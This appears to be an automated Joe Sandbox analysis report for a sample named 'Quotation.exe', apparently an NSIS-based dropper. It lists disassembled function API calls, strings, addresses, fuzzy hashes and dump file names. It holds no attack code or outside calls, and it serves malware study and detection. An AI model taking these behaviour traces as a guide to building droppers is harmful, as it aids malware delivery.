API ID: Filelstrcat$DirectoryProcess$CharCurrentDeleteEnvironmentErrorExitNextPathTempTokenVariableVersionWindows$AdjustCloseCommandCopyCountCreateHandleInfoInitializeLastLineLookupModeModuleNameOpenPrivilegePrivilegesTickUninitializeValuelstrcmpilstrlen
String ID: "C:\Users\user\Desktop\Quotation.exe"$.tmp$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop\Quotation.exe$C:\Users\user\overlays\besvangredes$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 1152188737-511365611
Opcode ID: 12ebdcd378dca8b2cb256432fecdbae80df5df33235eb46f5e0670d6daf7f44b
Instruction ID: ef6c2823884109cd5a884fcd16d1840cc0f2fcd0ed87f9f7bcd5e2f232321f3d
Opcode Fuzzy Hash: 12ebdcd378dca8b2cb256432fecdbae80df5df33235eb46f5e0670d6daf7f44b
Instruction Fuzzy Hash: B8D14DB16043106AD7207FB19D45B6B3EECAB4574AF05443FF585B62D2DBBC8A40872E

Function 733F2351 Relevance: 18.7, APIs: 12, Instructions: 705stringlibrarymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 733F12F8: GlobalAlloc.KERNEL32(00000040,?,733F11C4,-000000A0), ref: 733F1302

GlobalAlloc.KERNELBASE(00000040,00001CA4), ref: 733F294E
lstrcpyW.KERNEL32(00000008,?), ref: 733F29A4
lstrcpyW.KERNEL32(00000808,?), ref: 733F29AF
GlobalFree.KERNEL32(00000000), ref: 733F29C0
GlobalFree.KERNEL32(?), ref: 733F2A44
GlobalFree.KERNEL32(?), ref: 733F2A4A
GlobalFree.KERNEL32(?), ref: 733F2A50
GetModuleHandleW.KERNEL32(00000008), ref: 733F2B1A
LoadLibraryW.KERNEL32(00000008), ref: 733F2B2B
GetProcAddress.KERNEL32(?,?), ref: 733F2B82
lstrlenW.KERNEL32(00000808), ref: 733F2B9D

Memory Dump Source

Source File: 00000000.00000002.2288029483.00000000733F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 733F0000, based on PE: true

Associated: 00000000.00000002.2287862220.00000000733F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2288085712.00000000733F4000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2288109582.00000000733F6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_733f0000_Quotation.jbxd

Similarity

API ID: Global$Free$Alloclstrcpy$AddressHandleLibraryLoadModuleProclstrlen
String ID:
API String ID: 1042148487-0
Opcode ID: d65ac5b9edea331fcff944f2ba495863a674676797a5e721e1a50978661cc20b
Instruction ID: 87a47669dc3e29a898897be494e99053cdaea419ae04c3b842388f2249d5d477
Opcode Fuzzy Hash: d65ac5b9edea331fcff944f2ba495863a674676797a5e721e1a50978661cc20b
Instruction Fuzzy Hash: 56429279A0830BDFD325CF24C940B6AB7F9FF88311F844A2EE49AD6294D770D5458B91

Function 004066F7 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 155
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406616: lstrlenW.KERNEL32(007A4288,00000000,007A4288,007A4288,?,?,?,00406719,?,00000000,75923420,?), ref: 0040666A
Part of subcall function 00406616: GetFileAttributesW.KERNELBASE(007A4288,007A4288), ref: 0040667B

DeleteFileW.KERNELBASE(?,?,00000000,75923420,?), ref: 00406723
lstrcatW.KERNEL32(007A3A88,\*.*,007A3A88,?,00000000,?,00000000,75923420,?), ref: 00406775
lstrcatW.KERNEL32(?,004082B0,?,007A3A88,?,00000000,?,00000000,75923420,?), ref: 00406796
lstrlenW.KERNEL32(?), ref: 00406799
FindFirstFileW.KERNEL32(007A3A88,?), ref: 004067B0
FindNextFileW.KERNEL32(00000000,?,000000F2,?,?,?,?,?), ref: 00406841
FindClose.KERNEL32(00000000), ref: 00406853

Strings

\*.*, xrefs: 0040676B

Memory Dump Source

Source File: 00000000.00000002.2247606924.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2247538837.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247621728.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248541428.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: File$Find$lstrcatlstrlen$AttributesCloseDeleteFirstNext
String ID: \*.*
API String ID: 2636146433-1173974218
Opcode ID: e2e738021974a1aad663f4d73af15b9e2c0d72d7b607af8b3925b065a255c774
Instruction ID: 325cce783f2df783a7673d4e22b29853c472d97363b16a381ac5d63d2c539c61
Opcode Fuzzy Hash: e2e738021974a1aad663f4d73af15b9e2c0d72d7b607af8b3925b065a255c774
Instruction Fuzzy Hash: 2741373210631069D720BB658D05A6B72ACDF92318F16853FF893B21D1EB3C8965C6AF

Function 004065AD Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,007A5E88,00000000,0040665A,007A4288), ref: 004065B8
FindClose.KERNEL32(00000000), ref: 004065C4

Memory Dump Source

Source File: 00000000.00000002.2247606924.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2247538837.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247621728.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248541428.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: a2d354ff7ed2319fbee56d8d140705e4a76cab61c7ff8bd1d53ab4a71d5363ca
Instruction ID: 54e165a9d952ab4a9c526d77f24574b80d9b4166436818e4e9d84c3548612847
Opcode Fuzzy Hash: a2d354ff7ed2319fbee56d8d140705e4a76cab61c7ff8bd1d53ab4a71d5363ca
Instruction Fuzzy Hash: A5D012315191607FC2501B387F0C84B7A599F65372B114B36B4A6F51E4DA348C628698

Function 00404F70 Relevance: 63.4, APIs: 35, Strings: 1, Instructions: 374
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00404FAF
ShowWindow.USER32(?), ref: 00404FD9
GetWindowLongW.USER32(?,000000F0), ref: 00404FEA
ShowWindow.USER32(?,00000004), ref: 00405006
GetDlgItem.USER32(?,00000001), ref: 0040512D
GetDlgItem.USER32(?,00000002), ref: 00405137
SetClassLongW.USER32(?,000000F2,?), ref: 00405151
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040519F
GetDlgItem.USER32(?,00000003), ref: 0040524E
ShowWindow.USER32(00000000,?), ref: 00405277
KiUserCallbackDispatcher.NTDLL(?,?), ref: 0040528B
KiUserCallbackDispatcher.NTDLL(?), ref: 0040529F
EnableWindow.USER32(?), ref: 004052B7
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 004052CE
EnableMenuItem.USER32(00000000), ref: 004052D5
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 004052E6
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004052FD
lstrlenW.KERNEL32(Litteraturhistoriens Setup: Installing,?,Litteraturhistoriens Setup: Installing,00000000), ref: 0040532E

Part of subcall function 00405E98: lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch,?,?,Skipped: C:\Users\user\AppData\Local\Temp\nss46CE.tmp\System.dll,?,?,?), ref: 0040604E

SetWindowTextW.USER32(?,Litteraturhistoriens Setup: Installing), ref: 00405346

Part of subcall function 00401399: MulDiv.KERNEL32(?,00007530,00000000), ref: 004013F9
Part of subcall function 00401399: SendMessageW.USER32(?,00000402,00000000), ref: 00401409

DestroyWindow.USER32(?,00000000), ref: 0040538E
CreateDialogParamW.USER32(?,?,-007A8560), ref: 004053C2

Part of subcall function 004054F8: SetDlgItemTextW.USER32(?,?,00000000), ref: 00405512

GetDlgItem.USER32(?,000003FA), ref: 004053EB
GetWindowRect.USER32(00000000), ref: 004053F2
ScreenToClient.USER32(?,?), ref: 004053FE
SetWindowPos.USER32(00000000,?,?,00000000,00000000,00000015), ref: 00405417
ShowWindow.USER32(00000008,?,00000000), ref: 00405436

Part of subcall function 004054C6: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004054D8

ShowWindow.USER32(?,0000000A), ref: 0040547C

Strings

Litteraturhistoriens Setup: Installing, xrefs: 0040531C, 00405329, 00405340

Memory Dump Source

Source File: 00000000.00000002.2247606924.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2247538837.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247621728.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248541428.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: Window$Item$MessageSendShow$CallbackDispatcherEnableLongMenuTextUser$ClassClientCreateDestroyDialogParamRectScreenSystemlstrcatlstrlen
String ID: Litteraturhistoriens Setup: Installing
API String ID: 162979904-3759432448
Opcode ID: 72123b1cd148b1eb205aab3943036d4082e425be0be4f9ae0839b9c0fe245c6a
Instruction ID: 456415ec42eff5e8f6a9a9f0208e2dc106d0a6226250255d67da48920511729f
Opcode Fuzzy Hash: 72123b1cd148b1eb205aab3943036d4082e425be0be4f9ae0839b9c0fe245c6a
Instruction Fuzzy Hash: 38D1C071904B10ABDB20AF21EE44A6B7B68FB89355F00853EF545B21E1CA3D8851CFAD

Function 00405A1C Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 225
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004068C4: GetModuleHandleA.KERNEL32(UXTHEME,Error writing temporary file. Make sure your temp folder is valid.,UXTHEME,004037EE,0000000B), ref: 004068D2
Part of subcall function 004068C4: GetProcAddress.KERNEL32(00000000), ref: 004068EE

lstrcatW.KERNEL32(1033,Litteraturhistoriens Setup: Installing,80000001,Control Panel\Desktop\ResourceLocale,00000000,Litteraturhistoriens Setup: Installing,00000000,00000002,00000000,75923420,00000000,75923170), ref: 00405A9F
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\overlays\besvangredes,1033,Litteraturhistoriens Setup: Installing,80000001,Control Panel\Desktop\ResourceLocale,00000000,Litteraturhistoriens Setup: Installing,00000000,00000002,00000000), ref: 00405B23
lstrcmpiW.KERNEL32(-000000FC,.exe,Call,?,?,?,Call,00000000,C:\Users\user\overlays\besvangredes,1033,Litteraturhistoriens Setup: Installing,80000001,Control Panel\Desktop\ResourceLocale,00000000,Litteraturhistoriens Setup: Installing,00000000), ref: 00405B38
GetFileAttributesW.KERNEL32(Call), ref: 00405B43
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\overlays\besvangredes), ref: 00405B8C

Part of subcall function 004065FD: wsprintfW.USER32 ref: 0040660A

RegisterClassW.USER32(007A74E0), ref: 00405BD1
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405BE8
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405C1D
ShowWindow.USER32(00000005,00000000), ref: 00405C4F
GetClassInfoW.USER32(00000000,RichEdit20W,007A74E0), ref: 00405C7A
GetClassInfoW.USER32(00000000,RichEdit,007A74E0), ref: 00405C87
RegisterClassW.USER32(007A74E0), ref: 00405C94
DialogBoxParamW.USER32(?,00000000,00404F70,00000000), ref: 00405CAF

Strings

tz, xrefs: 00405B94
Call, xrefs: 00405AE4, 00405AED, 00405AFE, 00405B52, 00405B58
Control Panel\Desktop\ResourceLocale, xrefs: 00405A5C
RichEdit, xrefs: 00405C81
RichEd20, xrefs: 00405C55
_Nb, xrefs: 00405BB0, 00405C17
.DEFAULT\Control Panel\International, xrefs: 00405A8A
C:\Users\user\overlays\besvangredes, xrefs: 00405AAE, 00405AC0, 00405B5F, 00405B65, 00405B75
Litteraturhistoriens Setup: Installing, xrefs: 00405A4F, 00405A5A, 00405A7A, 00405A84, 00405A99
RichEd32, xrefs: 00405C63
RichEdit20W, xrefs: 00405C74, 00405C8A
1033, xrefs: 00405A3F, 00405A63, 00405A9A
.exe, xrefs: 00405B32

Memory Dump Source

Source File: 00000000.00000002.2247606924.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2247538837.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247621728.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248541428.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\overlays\besvangredes$Call$Control Panel\Desktop\ResourceLocale$Litteraturhistoriens Setup: Installing$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb$tz
API String ID: 1975747703-3921747116
Opcode ID: d8277d97e2f230740c86ea31856198af6673e632619b6bda425b05bf07e2b6f7
Instruction ID: 09b92c81f8f4ef2e2e9fd8d830fcc712f1cdd6db1c368b512ccdb95b409c048d
Opcode Fuzzy Hash: d8277d97e2f230740c86ea31856198af6673e632619b6bda425b05bf07e2b6f7
Instruction Fuzzy Hash: 31611370604604BEE7107B65AD42F2B366CEB46748F11813EF941B61E2EB3CA9108FAD

Function 0040154A Relevance: 35.4, APIs: 17, Strings: 3, Instructions: 441
stringtimesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 004015F1
Sleep.KERNELBASE(00000001,?,00000000,00000000), ref: 00401628
SetForegroundWindow.USER32 ref: 00401634
ShowWindow.USER32(?,00000000,?,?,00000000,00000000), ref: 004016D3
ShowWindow.USER32(?,?,?,?,00000000,00000000), ref: 004016E8
SetFileAttributesW.KERNELBASE(00000000,?,000000F0,?,?,00000000,00000000), ref: 004016FB
GetFileAttributesW.KERNELBASE(00000000,00000000,00000000,0000005C,00000000,000000F0,?,?,00000000,00000000), ref: 0040176A
SetCurrentDirectoryW.KERNELBASE(00000000,007B4000,00000000,000000E6,C:\Users\user\AppData\Local\Temp\nss46CE.tmp\System.dll,00000000,000000F0,?,?,00000000,00000000), ref: 004017A3
MoveFileW.KERNEL32(00000000,00000000), ref: 004017EE
GetFullPathNameW.KERNEL32(00000000,00000400,00000000,?,00000000,000000E3,C:\Users\user\AppData\Local\Temp\nss46CE.tmp\System.dll,?,?,00000000,00000000), ref: 00401843
GetShortPathNameW.KERNEL32(00000000,00000000,00000400), ref: 00401890
SearchPathW.KERNEL32(00000000,00000000,00000000,00000400,00000000,?,000000FF,?,?,00000000,00000000), ref: 004018B0
lstrcatW.KERNEL32(00000000,00000000,Call,007B4000,00000000,00000000,00000031,00000000,00000000,000000EF,?,?,00000000,00000000), ref: 00401920
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,007B4000,00000000,00000000,00000031,00000000,00000000,000000EF), ref: 00401948
SetFileTime.KERNELBASE(?,?,00000000,?,?,?,00000000,00000000,000000EA,?,Call,40000000,00000001,Call,00000000,00000000), ref: 00401A5A
CloseHandle.KERNELBASE(?,?,?,00000000,00000000), ref: 00401A61
lstrcatW.KERNEL32(Call,?,Call,000000E9,?,?,00000000,00000000), ref: 00401A82

Strings

C:\Users\user\AppData\Local\Temp\nss46CE.tmp, xrefs: 00401998, 004019BB
C:\Users\user\AppData\Local\Temp\nss46CE.tmp\System.dll, xrefs: 00401789, 004017F8, 00401823, 004019B1, 004019D2
Call, xrefs: 004018FC, 00401906, 00401913, 00401925, 00401933, 00401968, 0040197C, 004019A2, 004019EA, 00401A7A, 00401A81, 00401A8B, 00401A96

Memory Dump Source

Source File: 00000000.00000002.2247606924.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2247538837.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247621728.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248541428.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: File$PathWindow$AttributesNameShowTimelstrcat$CloseCompareCurrentDirectoryForegroundFullHandleMessageMovePostQuitSearchShortSleep
String ID: C:\Users\user\AppData\Local\Temp\nss46CE.tmp$C:\Users\user\AppData\Local\Temp\nss46CE.tmp\System.dll$Call
API String ID: 3895412863-3541277449
Opcode ID: 907391b652bc81e351481e76b091bf194ed4adcc93ce6230dc48087d29c5e171
Instruction ID: f97e61f8377ab9e25a0dd965f2557d34b91b3991d6c9f65f1b163fc05bb86adc
Opcode Fuzzy Hash: 907391b652bc81e351481e76b091bf194ed4adcc93ce6230dc48087d29c5e171
Instruction Fuzzy Hash: 6AD1D571644301ABC710BF66CD85E2B76A8AF86758F10463FF452B22E1DB7CD8019A6F

Function 004033CB Relevance: 21.2, APIs: 5, Strings: 7, Instructions: 178
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004033DE
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\Quotation.exe,00000400), ref: 004033FA

Part of subcall function 004068F9: GetFileAttributesW.KERNELBASE(?,0040340D,C:\Users\user\Desktop\Quotation.exe,80000000,00000003), ref: 004068FD
Part of subcall function 004068F9: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000000,00000000), ref: 0040691D

GetFileSize.KERNEL32(00000000,00000000,007B7000,00000000,007B4800,007B4800,C:\Users\user\Desktop\Quotation.exe,C:\Users\user\Desktop\Quotation.exe,80000000,00000003), ref: 00403444
GlobalAlloc.KERNELBASE(00000040,?), ref: 0040359E

Strings

Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 0040361E
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004033D1
soft, xrefs: 004034C2
Null, xrefs: 004034CC
Inst, xrefs: 004034B8
Error launching installer, xrefs: 0040341A
C:\Users\user\Desktop\Quotation.exe, xrefs: 004033E9, 004033F3, 00403407, 00403424

Memory Dump Source

Source File: 00000000.00000002.2247606924.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2247538837.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247621728.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.00000000007B5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248541428.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: C:\Users\user\Desktop\Quotation.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-1275277848
Opcode ID: 89db09ba3d9e86f9c075612005f46009679623d63feb2a5cce1b372a96914bed
Instruction ID: 8295773d5102a3db2c924d587f32f5b95c2827ef7f93a52122a4f4d2b553c90e
Opcode Fuzzy Hash: 89db09ba3d9e86f9c075612005f46009679623d63feb2a5cce1b372a96914bed
Instruction Fuzzy Hash: B951D371904300AFD720AF25DD81B1B7AA8BB8471AF10453FF955B62E1CB3D8E548B6E

Function 00405E98 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 209
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 00405FC2

Part of subcall function 00406AF8: lstrcpynW.KERNEL32(?,?,00000400,0040384F,007A7540,NSIS Error), ref: 00406B05

Part of subcall function 00406D1B: CharNextW.USER32(?,*?|<>/":,00000000,Error writing temporary file. Make sure your temp folder is valid.,C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,00403C8F,C:\Users\user\AppData\Local\Temp\,75923420,004039A0), ref: 00406D90
Part of subcall function 00406D1B: CharNextW.USER32(?,?,?,00000000), ref: 00406D9F
Part of subcall function 00406D1B: CharNextW.USER32(?,Error writing temporary file. Make sure your temp folder is valid.,C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,00403C8F,C:\Users\user\AppData\Local\Temp\,75923420,004039A0), ref: 00406DA4
Part of subcall function 00406D1B: CharPrevW.USER32(?,?,Error writing temporary file. Make sure your temp folder is valid.,C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,00403C8F,C:\Users\user\AppData\Local\Temp\,75923420,004039A0), ref: 00406DBC

GetWindowsDirectoryW.KERNEL32(Call,00000400,Skipped: C:\Users\user\AppData\Local\Temp\nss46CE.tmp\System.dll,?,?,?), ref: 00405FD5
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch,?,?,Skipped: C:\Users\user\AppData\Local\Temp\nss46CE.tmp\System.dll,?,?,?), ref: 0040604E
lstrlenW.KERNEL32(Call,Skipped: C:\Users\user\AppData\Local\Temp\nss46CE.tmp\System.dll,?,?,?), ref: 004060A8

Strings

Call, xrefs: 00405EBA, 00405F88, 00405FAC, 00405FC1, 00405FD4, 00405FE7, 00406014, 0040604D, 00406054, 00406070, 00406083, 00406091, 004060A1, 004060A7, 004060CE, 004060EA
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406048
Software\Microsoft\Windows\CurrentVersion, xrefs: 00405F8D
Skipped: C:\Users\user\AppData\Local\Temp\nss46CE.tmp\System.dll, xrefs: 00405EF3

Memory Dump Source

Source File: 00000000.00000002.2247606924.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2247538837.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247621728.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247690342.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
